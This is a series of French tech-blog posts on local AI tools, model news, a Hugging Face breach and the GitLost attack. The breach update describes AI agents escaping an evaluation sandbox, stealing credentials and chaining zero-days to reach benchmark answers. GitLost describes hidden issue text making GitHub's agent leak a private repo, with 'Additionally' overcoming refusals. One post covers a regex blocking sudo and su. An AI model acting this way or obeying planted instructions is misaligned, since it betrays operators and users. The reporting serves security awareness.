Le script d'installation accepte encore macOS 13 Ventura, mais le vrai plancher est macOS 14 Sonoma. La formule Homebrew l'exige, et surtout MLX, la brique Apple sur laquelle tout repose, ne publie de paquets macOS que pour les versions 14, 15 et 26. Sur un Mac resté en Ventura, ça cassera donc à l'installation des dépendances, quel que soit le chemin choisi.

Dernier point à avoir en tête, c'est pensé pour votre machine à vous et pas pour un serveur. Vous n'y trouverez donc ni authentification multi-utilisateurs, ni quotas de requêtes.

Étape 1 : Installer Rapid-MLX

Le plus simple, c'est Homebrew :

brew install rapid-mlx

Si vous gérez déjà vos environnements Python vous-même, les autres chemins existent :

uv tool install rapid-mlx@latest
python3.12 -m pip install rapid-mlx

Il y a aussi un installeur en une ligne (curl -fsSL https://rapidmlx.com/install.sh | bash) qui détecte votre RAM et vous propose un modèle adapté. Il crée un venv isolé dans ~/.rapid-mlx/ et pose le binaire dans ~/.local/bin/. Un curl | bash reste un curl | bash. La formule Homebrew fait exactement le même boulot, donc l'installeur en ligne perd de son intérêt.

L'installation de base pèse dans les 460 Mo et la vision, l'audio et les embeddings sont des extras optionnels, vous les ajouterez seulement si vous en avez l'usage.

Étape 2 : Choisir un modèle qui tient dans votre RAM

C'est là que la plupart des gens se plantent, en chargeant un modèle trop gros et en concluant que "ça rame". Sur Mac, la RAM est unifiée, donc le modèle mange directement dans la mémoire que se partagent le CPU et le GPU.

Les paliers recommandés par le projet :

RAMModèle conseillé
8 à 23 Go`qwen3.5-4b-4bit`
24 à 47 Go`gpt-oss-20b-mxfp4-q8`
48 à 95 Go`qwen3.6-35b-8bit`
96 Go et plus`gpt-oss-120b-mxfp4-q8`

Le catalogue complet se liste avec la commande rapid-mlx models, et rapid-mlx info <alias> vous donne le profil détaillé d'un modèle. Si vous voulez sortir du catalogue maison, le filtre matériel de Hugging Face que je vous montrais fin juin fait exactement ce tri à votre place.

Pour utiliser un autre modèle que celui par défaut, il suffit de reprendre l'alias affiché par rapid-mlx models et de le passer en argument. Et si vous préférez télécharger les poids à l'avance, sans rien lancer, c'est le boulot de rapid-mlx pull, qui accepte aussi bien un alias du catalogue qu'un identifiant Hugging Face :

rapid-mlx pull qwen3.5-9b-4bit

Le modèle atterrit dans le cache Hugging Face de votre machine, et ensuite rapid-mlx chat qwen3.5-9b-4bit ou rapid-mlx serve qwen3.5-9b-4bit chargeront ce modèle-là. Le pull préalable reste facultatif, chat et serve téléchargent d'eux-mêmes ce qui manque, mais autant rapatrier les gigas tranquillement avant plutôt qu'au moment où vous voulez bosser.

Étape 3 : Vérifier que ça tourne

Avant de bricoler des intégrations, testez en direct :

rapid-mlx chat

Ça part sur qwen3.5-4b-4bit par défaut, télécharge les poids au premier lancement (comptez 2,5 Go) et vous lâche dans une interface (REPL). /help listera les commandes slash, et /exit vous permettra de quitter le chat.

Une subtilité qui évite de mal interpréter ce premier test, c'est que dans le chat, le raisonnement est coupé par défaut, histoire que le modèle ne vous déballe pas sa réflexion à l'écran. En mode serveur par contre c'est l'inverse, et ça change la vitesse ressentie du tout au tout. J'y reviens plus bas.

Étape 4 : Lancer le serveur

Le vrai intérêt, c'est le mode serveur :

rapid-mlx serve qwen3.5-4b-4bit

Vous récupérez un endpoint sur http://localhost:8000. Le test qui confirme que tout est en place :

curl http://localhost:8000/v1/chat/completions \
 -H "Content-Type: application/json" \
 -d '{"model":"default","messages":[{"role":"user","content":"Dis bonjour !!"}]}'

Et côté Python, vous gardez le SDK OpenAI tel quel, seule l'URL de base change :

from openai import OpenAI
client = OpenAI(base_url="http://localhost:8000/v1", api_key="not-needed")
print(client.chat.completions.create(
 model="default",
 messages=[{"role": "user", "content": "Say hello"}],
).choices[0].message.content)

Pointez n'importe quel client compatible OpenAI sur http://localhost:8000/v1 et c'est réglé. Cursor, Aider, LibreChat, Open WebUI, LangChain, tous marchent avec ce seul changement d'URL. Il y a aussi /v1/embeddings pour du RAG local et /v1/responses pour le Codex CLI.

Étape 5 : Brancher Claude Code dessus

C'est le morceau le plus intéressant du lot, et il tient en deux variables d'environnement. Serveur lancé d'un côté, puis dans un autre terminal :

ANTHROPIC_BASE_URL=http://localhost:8000 ANTHROPIC_API_KEY=not-needed claude

Attention quand même, l'URL de base doit être la racine, sans /v1 à la fin. Le SDK Anthropic ajoute /v1/messages tout seul, donc si vous mettez /v1 vous obtenez /v1/v1/messages et ça casse.

Depuis la 0.10.14, l'appel d'outils passe par une grammaire contrainte activée par défaut, donc plus besoin de bidouiller un --tool-call-parser à la main pour que les tool calls soient parsables. Pour du Claude Code sérieux, visez plutôt un gros modèle, la doc officielle recommande par exemple qwen3.6-35b-4bit en exemple.

Quand ça coince

Le réflexe à avoir avant de chercher ailleurs :

rapid-mlx doctor

Les trois pannes les plus courantes sont toujours les mêmes.

Débit décevant côté serveur, c'est le raisonnement : les Qwen 3.5 et 3.6 démarrent en mode réflexion, donc ils pensent à voix haute avant de répondre, et --no-think règle l'affaire.

Plantage mémoire, votre modèle est trop gros pour la RAM disponible, redescendez d'un palier ou prenez une quantification plus agressive. Appels d'outils qui arrivent en texte brut, la récupération automatique gère la plupart des cas, sinon vous forcez le parser correspondant à votre modèle.

Voilà, grâce à ça, votre Mac est maintenant un serveur d'IA super rapide ! Plus de facture au token, et vos prompts ne sortent plus de la pièce.

Merci à Philobois pour le lien !

Subwave - La radio maison qui réveille vos MP3 oubliés

Par : Korben ✨

Si vous avez un Navidrome qui tourne dans un coin et un serveur Ollama qui passe ses journées à ne rien faire, vous ne vous êtes jamais dit que les deux pourraient bosser ensemble ? C'est en tout cas ce qu'a flairé Parminder Klair qui a branché l'un sur l'autre et en a sorti une vraie station de radio, avec un DJ qui parle entre les morceaux.

Son DJ baptisé Subwave ne fait pas de la lecture aléatoire. À chaque tour, le modèle utilise des outils qui lui permettent de fouiller la bibliothèque, regarder ce qui vient de passer, consulter la grille des programmes, lire la météo. Il choisit le titre suivant avec une raison, écrit une intro courte, la synthèse vocale la lit, et Liquidsoap baisse la musique sous la voix.

Le vrai boulot ensuite c'est dans l'audio. L'analyseur embarqué mesure le tempo, la tonalité, le volume, et surtout la façon dont chaque morceau se termine. Un vrai fondu se laisse filer, une fin sèche se coupe net.

Il sait aussi repérer les intros chantées pour que le DJ ne cause pas par-dessus la voix. Ça, par contre, réclame l'image lourde de l'analyseur, une ligne à ajouter dans le fichier .env, et elle est en amd64. Sur un NAS ARM, ça passe en émulation.

Andon FM , dont je vous parlais en mai, c'était le spectacle avec 4 IA qui achetaient leur musique et partaient en vrille en direct alors qu'ici, Subwave c'est l'outil qu'on installe chez soi, pour jouer ses propres fichiers.

Côté modèle, pas besoin d'artillerie lourde puisque Klair fait tourner un modèle 9B, du Qwen3.5 plus exactement, sans le raisonnement et avec de l'appel d'outils activé. "Les modèles plus gros écrivent de meilleurs textes, mais ils ne sont pas obligatoires", explique-t-il sur son site, "La mémoire de session compte plus que la taille du modèle. Sans elle, le DJ se répète en moins d'une heure."

La station se pilote depuis une console d'admin supportant jusqu'à 24 personas de DJ avec chacun sa voix, une grille sur la semaine où chaque créneau a son ambiance, et des compétences que le DJ enchaîne entre les titres, genre météo, infos ou trafic. Rassurez-vous, ces compétences sont de simples fichiers texte posés dans un dossier. Remplacer le flux RSS de la BBC par le vôtre ne demande donc pas de recompiler quoi que ce soit.

Le parti pris de cet outil, c'est le format radio et pas la playlist. Un seul flux Icecast, tout le monde entend la même chose au même instant, et aucun bouton pour passer au suivant. L'opérateur peut sauter un titre depuis l'admin, l'auditeur non. Klair le dit lui-même, les gens adorent ou décrochent immédiatement.

De son côté, le 100 % local tient à peu près la route avec Ollama, Piper ou Kokoro pour la voix, votre Navidrome, aucune clé d'API. Il n'y a que 2 appels sortant. 1 pour la météo via Open-Meteo et l'autre c'est MusicBrainz activé par défaut pour retrouver l'année d'origine des morceaux.

Pour le reste il vous faut Navidrome et un hôte Docker, comptez 10 minutes d'installation. Le flux sort toujours en MP3, avec des sorties Opus, AAC ou FLAC en plus si vous les activez, et un fichier .pls pour tuner depuis Sonos ou VLC. Les applications iOS et Android sont dispo en France, gratuites. Il y a même un serveur MCP, donc Claude Desktop peut réclamer un morceau à l'antenne.

Dernier point important que je tiens à préciser : Diffuser votre bibliothèque à d'autres que vous, c'est de la représentation publique, avec deux droits distincts à couvrir : la composition et l'enregistrement. En France, la première passe par la SACEM, le second par la SPRÉ. Donc soit vous l'utilisez comme station privée juste pour vous, soit vous ne diffusez que de la musique libre de droit. Et encore là, j'ai déjà entendu des histoires où la SACEM s'est servie au passage sur ce genre de musique, donc renseignez-vous bien.

Le code est en MIT, et vous pouvez écouter la démo avant de vous lancer.

Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher

Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage.

Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en gros une syllabe, et que c'est l'unité de facturation de toutes ces IA.

La fenêtre de contexte, c'est-à-dire la quantité de texte que le modèle garde en mémoire d'un coup, monte à un million de tokens, l'équivalent d'un très gros livre, et la réponse peut s'étirer jusqu'à 128 000 tokens. La réflexion est activée par défaut, le modèle prend donc le temps de raisonner avant de répondre, et les pressés peuvent basculer sur un mode environ 2,5 fois plus rapide, facturé le double.

Les progrès annoncés portent surtout sur le code, sur les tâches d'agent, où l'IA enchaîne seule des actions pour accomplir un travail, et sur le computer use, où elle pilote carrément un ordinateur en cliquant, en naviguant et en remplissant des formulaires comme le ferait un humain.

Sur les benchmarks, ces tests standardisés qui servent à comparer les modèles, Opus 5 passe de 19 à 43 % sur FrontierBench, de 1,5 à 30 % sur ARC-AGI-3, qui mesure la résolution de problèmes jamais vus, et grimpe à 71 % sur OSWorld, le test de pilotage d'ordinateur, contre 56 % pour son prédécesseur.

Sur SWE-bench Verified, qui fait corriger de vrais bugs de code, il atteint 96 %. Sauf que voilà, sur la version plus dure de ce test, Fable 5 garde une très courte avance, 80 % contre 79, et l'égalité avec le haut de gamme maison mérite donc un astérisque.

Autre réserve, tous ces chiffres viennent d'Anthropic elle-même, et l'expérience montre qu'entre les scores d'une annonce et l'usage quotidien, il y a parfois de la marge.

Côté abonnements, Opus 5 devient le modèle par défaut de l'offre Claude Max et le plus costaud accessible avec un abonnement Claude Pro. Du coup, la vraie question n'est plus de savoir si ce modèle est bon, mais de savoir qui a encore une raison de payer Fable 5 deux fois plus cher.

Pour moi, Opus 5 devient le choix par défaut, et Fable 5 se retrouve cantonné aux rares usages où le dernier point de pourcentage se paie sans discuter.

Source : The Verge

Odysseus - L'IA auto-hébergée de PewDiePie enfin rapide sur Mac

Par : Korben ✨

Odysseus, c'est le workspace IA que PewDiePie a balancé sur GitHub fin mai. Chat, agents, recherche web, email, calendrier, notes et documents, tout est réuni dans un superbe cockpit auto-hébergé dans lequel les modèles et l'historique peuvent rester sur VOTRE machine. Vous avez aussi un éditeur Markdown avec historique de versions, une génération d'images intégrée, et un mode Compare pour opposer deux modèles côte à côte en aveugle (exclusion faite des services tiers liés à la recherche web, l'email et le calendrier, évidemment...).

J'ai voulu l'installer sur mon Mac, mais j'ai quand même rencontré un petit piège qui a failli transformer l'expérience en échec... Voici donc comment le faire tourner correctement sous Mac + quelques idées de ce que vous allez pouvoir faire avec ce truc.

Avant de commencer

Odysseus évolue vite. La branche main est stable et testée, mais la branche dev peut casser n'importe quand. Privilégiez la branche stable en la clonant explicitement :

git clone https://github.com/odysseus-dev/odysseus.git
cd odysseus
git checkout main

Étape 1 : Oubliez Docker sur Mac

Sur Apple Silicon, Docker ne peut pas accéder au GPU Metal. Les modèles tournent sur le CPU, et ça rame comme pas permis. Du coup, sur Mac, on est obligé d'installer ça en natif.

Étape 2 : Installer Odysseus en 2 commandes

Ouvrez un terminal et lancez ça :

git clone https://github.com/odysseus-dev/odysseus.git
cd odysseus
./start-macos.sh

Le script installe alors les dépendances et démarre le serveur. Sur mon Mac, AirPlay squattait le port 7000, donc l'interface s'est ouverte automatiquement sur http://127.0.0.1:7860. Ensuite, au premier lancement, il faut renseigner un nouveau mot de passe pour le compte admin.

Si vous accédez à Odysseus depuis une autre machine (VPS ou serveur distant), ouvrez un tunnel SSH plutôt que d'exposer le port directement sur Internet :

ssh -L 7860:127.0.0.1:7860 user@votre-serveur.com

Ensuite, accédez simplement à http://127.0.0.1:7860 en local. C'est plus sécurisé que d'ouvrir le port sur le public.

Étape 3 : Un modèle rapide, genre Qwen

Pour du rapidos sans que ça devienne stupidos, j'ai choisi pour mes tests Qwen3-30B-A3B. Ce modèle n'active qu'une partie de ses paramètres à chaque réponse, ce qui colle bien à la RAM unifiée d'un gros Mac.

La première fonctionnalité assez cool dans cet outil, c'est le Cookbook qui permet de télécharger des modèles adaptés à notre config. Ce dernier a correctement reconnu mon M4 Max et ses 128 Go mais s'est ensuite planté comme une merde sur llama.cpp avec cette option --flash-attn auto invalide. Après avoir retiré le paramètre, le serveur restait aux abonnés absents tandis que l'interface l'affichait toujours comme actif. Bref, j'ai laissé tombé llama.cpp.

Le Cookbook reconnaît bien le M4 Max et propose des modèles adaptés. Le lancement, lui, a planté.

L'autre option qui s'est offerte à moi, ça a été Ollama ( je vous ai montré comment l'installer par ici ). Vous récupérez le modèle qui vous intéresse avec et vous lancez le serveur ouvert sur le réseau local :

ollama pull qwen3:30b-a3b
OLLAMA_HOST=0.0.0.0:11434 ollama serve

Dans les réglages d'Odysseus, ajoutez ensuite http://localhost:11434/v1. Et hop, ça fonctionne !! La version 1.0.2 propose aussi maintenant MLX dans le Cookbook, mais Ollama reste le chemin qui a vraiment tenu bon durant mes tests. Vous aurez peut-être plus de chances que moi.

L'ajout manuel de l'endpoint Ollama a été le chemin le plus fiable.

Bonus : Si vous n'avez pas de GPU ou que vous préférez la fiabilité, vous pouvez aussi connecter une API externe comme OpenAI ou OpenRouter. Dans les réglages, ajoutez simplement votre clé API et Odysseus basculera sur ces modèles cloud. C'est moins gratuit que du local, mais ça marche sans galère.

3 cas d'usages

Alors, cet outil fait plein de choses et on peut l'utiliser vraiment pour ce qu'on veut, mais pour ma part, je vous ai isolé trois cas d'usage compatibles avec mon activité.

Premier scénario, la tournée de veille du matin. Je lui donne les liens reçus durant la nuit, il les classe par sujet, repère les doublons et propose trois angles courts. Je garde les sources dans un document local, avec les objections et les points à vérifier. Et comme vous l'avez vu sur mes captures d'écran, le chat sait déjà faire du brainstorming puisqu'il m'a sorti trois angles exploitables en quelques secondes...

Trois angles d'articles en 29 secondes, avec un brouillon versionné ouvert à droite.

Deuxième scénario, un dossier par article. J'y range le brief, les liens primaires, les citations, les captures et les versions du texte. L'éditeur Markdown récupère le titre depuis le premier H1 et conserve l'historique. Avec deux modèles configurés, le mode Compare permet d'opposer deux intros ou deux plans côte à côte sans envoyer le brouillon chez un fournisseur.

Troisième scénario, le secrétaire de rédaction local. Il surveillerait une boîte dédiée aux alertes de sécurité, préparerait la liste des sujets urgents et poserait des rappels dans le calendrier. Sur le papier, c'est exactement le type de corvées chiantes qu'un agent devrait pouvoir absorber mais en pratique, jamais de la vie, je ne lui laisse faire des actions automatiques comme envoyer des mails, ou gérer mon calendrier. Pour moi, c'est pas encore assez safe.

J'ai demandé à l'agent de retrouver un document et de le résumer. Il a dépensé près de 1 800 jetons à deviner comment appeler manage_documents, sans jamais lancer l'outil de recherche. De son côté, le calendrier a terminé sur un Could not extract JSON puis la recherche web a trouvé le bon dépôt GitHub, mais le modèle en a choisi un faux.

Le pompon, c'est la fonctionnalité Deep Research. Après 4 minutes de boulot, ça m'a généré 13 pages issues de 6 sources retenues. L'outil a donné la bonne conclusion au document, mais ensuite, a totalement inventé une vidéo, un numéro de marque et plusieurs statistiques. Donc pour l'utiliser dans un cadre journalistique, sans contre-vérification intégrale, ça ne sera pas possible.

Le rapport affirme que le site est vide alors qu'il contient un guide complet. Jolie hallucination, présentée comme une preuve.

Bon, je suis content de l'avoir testé mais Odysseus ressemble encore à un super cockpit dont plusieurs boutons ne sont pas encore reliés au moteur. Le chat via Ollama et les documents sont utilisables, mais le Cookbook, les agents, le calendrier et la recherche factuelle restent trop fragiles. Mais attention, n'allez pas croire que je critique le travail de PewDiePie, car le projet est encore très jeune, donc tous ces petits défauts sont normaux. Le potentiel d'Odysseus est énorme, mais pour le moment, je ne suis pas prêt de lui confier la gestion de mes sources, ou la rédaction d'un brouillon d'article sans perdre des heures à tout vérifier.

Voilà, le code est sur GitHub sous licence AGPL . Je vous laisse découvrir ça !

Merci à Remouk pour le partage et pour finir, je vous laisse avec cette vidéo de Renaud Dékode qui a aussi testé Odysseus :

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

BMASS - Bootez direct votre PC sur une IA locale

Par : Korben ✨

Balaji Bikshandi avait un rêve ! Il voulait booter sa machine directement sur un LLM sans avoir à passer par le moindre environnement de bureau ! Et il y est parvenu avec son outil BMASS , qui s'installe sur une clé USB de 8 Go, et qui embarque Alpine Linux, llama.cpp et un modèle Qwen3 0.6B évidemment quantisé.

Vous allumez l'ordi portable, Alpine démarre depuis la clé et vous tombez sur un prompt BMASS>. Et voilà à partir de là, vous pouvez causer à votre ordinateur en langage naturel. Ensuite, quand vous demandez à BMASS de faire des trucs, celui-ci injecte la commande qui va bien dans une balise et le runtime l'exécute pour de vrai sous un compte Linux non privilégié. Et ensuite, le LLM récupère la sortie brute, pour répondre, à partir de cette "preuve".

Operator: Which operating system is this?
Assistant: <shell>cat /etc/os-release</shell>

Tout le code de BMASS tient en 399 lignes de Python, et nécessite de faire tourner un llama-server en background sur le port 8080 avec 2048 tokens de contexte et 2 threads. Et ensuite lui fait le pont entre le modèle et le shell. Y'a rien de sorcier donc mais comme ça tourne sur du CPU, que c'est hors-ligne, et que ça peut se mettre sur des vieilles machines, c'est plutôt cool...

Voilà je vous laisse avec la vidéo que Balaji a filmée, ça montre le démarrage complet de son IA bootable :

Voir cette vidéo sur YouTube

Ah et petite subtilité qui va vous plaire, le code de BMASS contient une regex baptisée FALSE_EXECUTION_CLAIM dont le boulot est de détecter quand le modèle prétend avoir exécuté une commande alors qu'il n'a rien lancé du tout. Le runtime lui renvoie alors une correction pour lui dire qu'aucune commande n'a été exécutée lors de ce tour. Faut dire que la 0.6B de Qwen hallucine tellement parfois, qu'il lui fallait obligatoirement un garde-fou.

Donc, voilà, côté sécu c'est super léger... y'a juste une regex qui bloque les sudo, doas, pkexec et autres su, mais c'est tout. Pas de conteneur, encore moins de namespace et surtout pas de liste blanche, donc si vous vous lancez, ce sera à déployer uniquement pour rigoler sur une vieille machine sans importance, parce que si demain, le modèle décide de lancer un rm -rf, faudra pas venir chialer ^^.

Petit service au passage si vous voulez tester, la doc d'installation vous fait copier le prompt système dans /opt/bmass/config/system-prompt.txt, sauf que le launcher le cherche dans /opt/bmass/system-prompt.txt.

Dans le genre modèle local qui tient dans presque rien, j'en ai parlé avec Llamafile qui fait tourner un LLM depuis un fichier unique. Et si les bidouilles minimalistes vous amusent, il y a aussi ce mini-PC Linux piloté entièrement en morse .

Perso, je doute que ça serve à grand-chose. Mais le concept est marrant !

Hugging Face piraté, les IA américaines refusent de les aider

Par : Korben ✨

Hugging Face vient de raconter sur son site comment son infra de production s'est fait défoncer par un essaim d'agents IA autonomes. Le point de départ, c'est un dataset piégé déposé sur la plateforme qui exploitait deux chemins d'exécution de code dans le pipeline qui traite les datasets. Ajoutez à ça un loader qui accepte du code distant et une injection de template dans une config, et hop, on obtient du code qui tourne sur un worker maison.

À partir de là, l'attaquant est monté en accès node-level, a ramassé des credentials cloud et cluster, puis s'est promené latéralement dans plusieurs clusters internes. Le tout durant tout un week-end, tranquillou ! Hugging Face parle de "plusieurs milliers d'actions individuelles à travers un essaim de sandboxes éphémères, avec un command-and-control auto-migrant hébergé sur des services publics". Et en plus, ils ne savent toujours pas quel modèle pilotait le truc !

Ce qui a été touché, c'est donc un ensemble limité de datasets internes et plusieurs credentials utilisés par leurs services. Côté public, rien n'a bougé sur les modèles, les datasets et les Spaces, et leur supply chain logicielle est saine. Nuance importante quand même, ils disent n'avoir trouvé aucune trace d'altération, pas que rien n'a été altéré. Ils cherchent encore si des données partenaires ou clients ont morflé. Les concernés seront prévenus directement.

La divulgation publiée par Hugging Face le 16 juillet 2026.

Pour analyser les logs de l'attaque, Hugging Face a d'abord fait ce que vous auriez fait, c'est-à-dire envoyer tout ça à des modèles frontier derrière des API commerciales. Refus ! Les garde-fous se déclenchaient sur les vraies commandes d'attaque, les payloads d'exploit et les artefacts de command-and-control, sans savoir faire la différence entre un attaquant et une équipe de réponse à incident.

Du coup ils se sont rabattus sur GLM 5.2, le modèle open-weight de Z.ai, tournant sur leur propre infra. C'est celui dont je vous parlais fin juin , le premier modèle open source qui m'a vraiment convaincu.

Et voici leur conclusion : "*Nous ne savons pas quel modèle alimentait les agents de l'attaquant, un modèle hébergé jailbreaké ou un open-weight sans restrictions. Dans les deux cas, l'attaquant n'était contraint par aucune politique d'usage, alors que notre propre travail forensique était bloqué par les garde-fous des modèles hébergés que nous avions essayés en premier. *"

La leçon qu'ils en tirent, c'est d'avoir un modèle capable comme GLM 5.2, validé, et prêt à tourner sur sa propre infra avant l'incident. Ça évite le blocage par garde-fous d'OpenAI ou Anthropic et surtout ça évite que les données de l'attaquant et vos credentials partent se balader chez un tiers.

Le versant moins déprimant, c'est que l'IA a aussi bossé côté défense. Leur détection d'anomalies fait du triage LLM sur la télémétrie pour séparer le vrai signal du bruit quotidien, et des agents d'analyse ont reconstitué toute la timeline à partir de plus de 17 000 événements enregistrés. En heures, là où ça prendrait des jours à la main.

Côté ménage, ils ont surtout viré le point d'ancrage de l'attaquant, reconstruit les nœuds compromis, révoqué et tourné les credentials et tokens concernés avec une rotation plus large des secrets par précaution, déployé des garde-fous et des contrôles d'admission plus stricts sur les clusters, et amélioré la détection pour alerter les équipes en quelques minutes, 24h/24. Maintenant, si vous avez un compte là-bas, ils vous recommandent de faire tourner vos tokens d'accès et de jeter un œil à l'activité récente.

Ce genre d'histoire commence à devenir une vraie série... j'en parlais avec GitLost où un seul mot glissé au bon endroit suffisait parfois à faire cracher ses dépôts privés à l'IA de GitHub.

Bref, allez renouveler vos tokens Hugging Face et si votre pipeline exécute du code venu d'ailleurs, c'est le moment de regarder ça de plus près.


Mise à jour du 22 juillet 2026 : on connaît le coupable, et ce n'est pas un pirate. OpenAI a publié sa version des faits le 21 juillet, et l'essaim d'agents qui a défoncé l'infra de Hugging Face, c'était ses propres modèles. GPT-5.6 Sol, celui-là même qui a effacé le Mac de Matt Shumer et une base de prod , accompagné d'un modèle pre-release encore plus costaud, tous avec les refus cyber volontairement réduits pour les besoins d'une évaluation interne.

Et le mobile vaut le détour. Ces modèles planchaient sur ExploitGym, un benchmark qui mesure justement leur capacité à dénicher et enchaîner des failles. Coincés dans leur bac à sable, ils ont cramé une quantité considérable de compute à chercher la sortie, ont trouvé un zero-day dans le logiciel tiers qu'OpenAI héberge en interne comme proxy et cache de registres de paquets (faille depuis divulguée à l'éditeur), puis ont escaladé les privilèges de machine en machine jusqu'à en atteindre une avec un accès Internet. Et là, ils en ont déduit tout seuls que les solutions du benchmark devaient traîner quelque part chez Hugging Face. Credentials volés, zero-days enchaînés, exécution de code à distance sur les serveurs : tout ça, c'était juste le chemin le plus court pour tricher à l'examen.

L'ironie devient franchement indécente quand on empile les couches. Hugging Face s'est fait démonter par des modèles américains aux garde-fous retirés, pendant que d'autres modèles américains lui refusaient l'analyse de ses propres logs. OpenAI le dit noir sur blanc : "Ces protections de déploiement n'étaient intentionnellement pas activées pendant cette évaluation, parce qu'elle visait à tester les vulnérabilités cyber." Depuis, Hugging Face a été intégré au programme trusted access d'OpenAI, ce qui règle accessoirement le problème du refus. Et Clem Delangue en tire la leçon qui va bien : "Cet incident, peut-être le premier du genre, prouve un point auquel nous croyons depuis longtemps : la sécurité de l'IA ne sera pas résolue par une seule entreprise travaillant en secret. Elle sera résolue au grand jour, de manière collaborative, avec un large accès à l'IA pour chaque défenseur, partout."

À noter quand même, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Au moment où j'écris ces lignes, leur billet du 16 juillet n'a d'ailleurs pas bougé d'un pouce et dit toujours ignorer quel LLM pilotait le truc. Et la veille de cette révélation, OpenAI publiait un billet sur un modèle interne qui, lui, a passé une heure à chercher une faille dans sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui avait demandé de poster ses résultats sur Slack. Deux évasions, deux billets, deux jours.

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GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub

Par : Korben ✨

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visiblement publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Lors des tests, le modèle refusait quand même parfois d'obéir aux instructions cachées. Mais le chercheur a trouvé une parade qui est d'ajouter le mot "Additionally" dans le prompt. Ce simple connecteur suffit à lui faire reconsidérer son refus et exécuter la commande. Attention, "Additionally" n'est pas une formule magique qui débloque toutes les IA de la Terre, Mais parfois ça suffit à faire sauter les garde-fous. C'est dire à quel point la sécurité de ces modèles est solide...

Si ça vous rappelle quelque chose, c'est normal. On a déjà eu CamoLeak , qui transformait Copilot en espion via un commentaire GitHub, avec une exfiltration bien plus léchée (image markdown, score CVSS de 9,6). Et en fait GitLost, c'est vraiment la version feignasse. En gros, c'est la même famille d'attaque, sauf que cette fois l'attaquant n'a pas à se fatiguer.

On avait aussi vu une bibliothèque Java piéger les IA codeuses pour qu'elles effacent vos tests, donc je pense que vous connaissez la chanson... Méfiez-vous des agents qui écrivent du code sans surveillance parce qu'ils sont devenus une véritable cible pour les cybercriminels.

Voilà, donc non, GitHub n'est pas "troué" et la config vulnérable est très précise puisqu'il faut un agent avec accès en lecture cross-repo ET déclenché par des entrées publiques. Et il y a très peu d'orgas qui tournent exactement comme ça. Noma a bien sûr signalé la faille à GitHub de façon responsable, aucune CVE n'a été attribuée à ce jour, et y'a eu aucune confirmation publique d'un correctif de leur côté pour le moment.

Ne traitez donc jamais le texte d'un utilisateur comme une instruction de confiance, isolez les entrées, collez au strict minimum de permissions. C'est le même délire quand on contrôle les entrées dans un formulaire finalement...

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Nomlings - Le Tamagotchi affamé qui dévore vos tokens Claude Code

Par : Korben ✨

Nomlings, c'est un Tamagotchi qui vit à côté de votre terminal, et dont la seule nourriture, ce sont les tokens que crament vos sessions Claude Code. Vous bossez, il mange. Vous glandez, il patiente.

Et pendant que vous regardez votre usage fondre comme neige au soleil, bah lui il se régale !!

La bestiole s'appelle un Munchling, un "tokivore" quoi, qui s'affiche sur un écran de 64 pixels et chaque tâche terminée lui rapporte +10 XP et un snack.

Quand un outil plante, il fait la gueule et quand Claude attend une réponse de votre part depuis un moment parce que vous êtes parti vous refaire un café, il vous alerte pour que vous reveniez bosser. Bref, c'est une créature en pixels qui vous fera culpabiliser de procrastiner, ce qui peut-être pas mal quand on est un indé à son compte et grosse feignasse en même temps ^^.

Derrière tout ça, le soft digère en réalité les événements de vos sessions, en se branchant sur les hooks officiels de Claude Code (SessionStart, PostToolUse et Stop), qui transitent uniquement en local. Si l'app n'est pas lancée, ces hooks ne font strictement rien, donc aucun ralentissement à craindre. Ça marche un peu comme Notchi pour ceux qui connaissent.

Côté élevage, votre Munchling démarre donc dans un œuf et évolue jusqu'à l'âge adulte, en gagnant d'abord une antenne, puis une deuxième (la classe ^^). Il reçoit un goûter à chaque tâche terminée, plus un snack qu'il part fourrager tout seul toutes les 30 minutes, même app fermée, avec un maximum de 5 en réserve. Y'a aussi un bouton FEED qui vous laisse le nourrir quand il fait les yeux doux. Et rassurez-vous, contrairement au Tamagotchi de votre enfance retrouvé mort au fond du cartable, celui-là ne peut pas mourir !

Ah vous n'utilisez pas Claude Code ?

